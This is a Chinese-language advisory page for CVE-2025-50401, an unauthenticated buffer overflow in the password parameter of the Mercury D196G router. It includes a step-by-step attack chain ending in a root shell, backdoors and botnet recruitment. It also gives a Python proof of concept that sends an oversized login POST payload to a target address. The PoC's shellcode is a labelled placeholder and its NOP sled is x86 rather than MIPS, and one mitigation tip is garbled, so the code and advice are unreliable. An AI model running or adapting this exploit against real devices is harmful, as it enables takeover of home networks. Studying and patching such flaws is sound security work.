CVE-2025-50401 Mercury D196G路由器password参数缓冲区溢出漏洞

漏洞信息

漏洞编号

CVE-2025-50401

漏洞类型

缓冲区溢出

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Mercury D196G d196gv1-cn-up_2020-01-09_11.21.44

漏洞概述

CVE-2025-50401是影响Mercury D196G路由器固件版本d196gv1-cn-up_2020-01-09_11.21.44的一个严重缓冲区溢出漏洞。该漏洞存在于函数sub_404CAEDC中，当处理用户通过password参数输入的数据时，由于缺乏适当的边界检查，攻击者可以向该参数注入超长字符串，导致缓冲区溢出。成功利用此漏洞的攻击者可以在受影响设备上执行任意代码，完全控制路由器。由于该漏洞的CVSS评分高达9.8分，属于严重级别，且攻击向量为网络层面，攻击者无需认证或用户交互即可发起攻击，因此具有极高的安全风险。Mercury D196G是一款广泛应用于家庭和小型办公环境的路由器设备，固件版本标识显示该版本发布于2020年1月9日。该漏洞的存在使得数百万使用该设备的用户面临被远程攻击的风险，攻击者可以利用此漏洞构建僵尸网络、进行中间人攻击或窃取敏感网络数据。

技术细节

该漏洞的根本原因在于Mercury D196G路由器固件中的sub_404CAEDC函数在处理password参数时存在严重的缓冲区溢出问题。具体来说，该函数在接收用户输入的password参数后，没有对输入数据的长度进行充分的验证和限制。当攻击者向password参数发送超出预期长度的数据时，超出的数据会覆盖相邻的内存区域，包括函数返回地址、栈帧指针等关键数据结构。在典型的栈缓冲区溢出场景中，攻击者可以通过精心构造的payload覆盖函数的返回地址，使其跳转到攻击者控制的代码位置（如shellcode）。由于该路由器运行的是嵌入式Linux系统，攻击成功后可以获取具有root权限的shell，完全控制设备。漏洞的利用过程相对简单，攻击者只需构造一个包含超长字符串的HTTP请求，将password参数的值设置为恶意payload，即可触发溢出。由于无需认证，攻击者可以直接从网络层面发起攻击，这大大降低了攻击门槛。

攻击链分析

STEP 1

步骤1

信息收集：攻击者识别目标Mercury D196G路由器，确认其固件版本为d196gv1-cn-up_2020-01-09_11.21.44

STEP 2

步骤2

漏洞探测：攻击者向路由器的登录接口发送带有超长password参数的HTTP请求，测试是否存在缓冲区溢出

STEP 3

步骤3

Payload构建：攻击者构造包含shellcode的恶意payload，用于覆盖函数返回地址并执行任意代码

STEP 4

步骤4

漏洞利用：通过发送精心构造的HTTP POST请求，将恶意payload注入到password参数中，触发sub_404CAEDC函数的缓冲区溢出

STEP 5

步骤5

代码执行：溢出的数据覆盖返回地址，使程序跳转到攻击者控制的shellcode并执行，获得root shell权限

STEP 6

步骤6

持久化控制：攻击者在成功获得控制权后，可以安装后门、窃取数据或将其纳入僵尸网络

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
"""
CVE-2025-50401 PoC - Mercury D196G Buffer Overflow in password parameter
This PoC demonstrates the buffer overflow vulnerability in sub_404CAEDC function
"""

import socket
import sys

def exploit_target(target_ip, target_port=80):
    """
    Send malicious payload to trigger buffer overflow
    """
    # Generate overflow payload
    # Pattern to overwrite return address (adjust based on target)
    junk = b'A' * 1000  # Junk data to overflow buffer
    nop_sled = b'\x90' * 100  # NOP sled
    
    # Shellcode for MIPS EL - reverse shell
    # This is a placeholder shellcode, actual shellcode may vary
    shellcode = b'\x66\x06\x06\x24\xff\xff\xd0\x04\x01\x01\x01\x01\x2f\x62\x69\x6e'
    shellcode += b'\x2f\x73\x68\x00' * 10  # /bin/sh repeated
    
    payload = junk + nop_sled + shellcode
    
    # Construct HTTP request with malicious password
    http_payload = f"POST /login HTTP/1.1\r\n"
    http_payload += f"Host: {target_ip}\r\n"
    http_payload += f"Content-Length: {len('password=' + payload.decode('latin-1'))}\r\n"
    http_payload += f"\r\n"
    http_payload += f"password=" + payload.decode('latin-1')
    
    print(f"[*] Sending exploit payload to {target_ip}:{target_port}")
    print(f"[*] Payload length: {len(payload)} bytes")
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))
        sock.send(http_payload.encode('latin-1'))
        
        response = sock.recv(1024)
        print(f"[*] Received response: {response[:100]}")
        sock.close()
        print("[+] Exploit sent successfully")
        return True
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    exploit_target(target, port)

影响范围

Mercury D196G d196gv1-cn-up_2020-01-09_11.21.44及之前版本

防御指南

临时缓解措施

由于该漏洞存在于路由器固件底层，临时缓解措施包括：1）禁用路由器的远程Web管理功能，改为仅通过本地网络访问；2）在网络边界部署防火墙，严格限制对路由器管理端口的访问，仅允许受信任的IP地址访问；3）监控路由器的运行状态，关注异常的CPU使用率或网络流量；4）考虑使用VPN连接后再访问路由器管理界面；5）如果设备不再需要远程管理功能，可以考虑更换为已停止支持的设备或等待厂商发布安全补丁。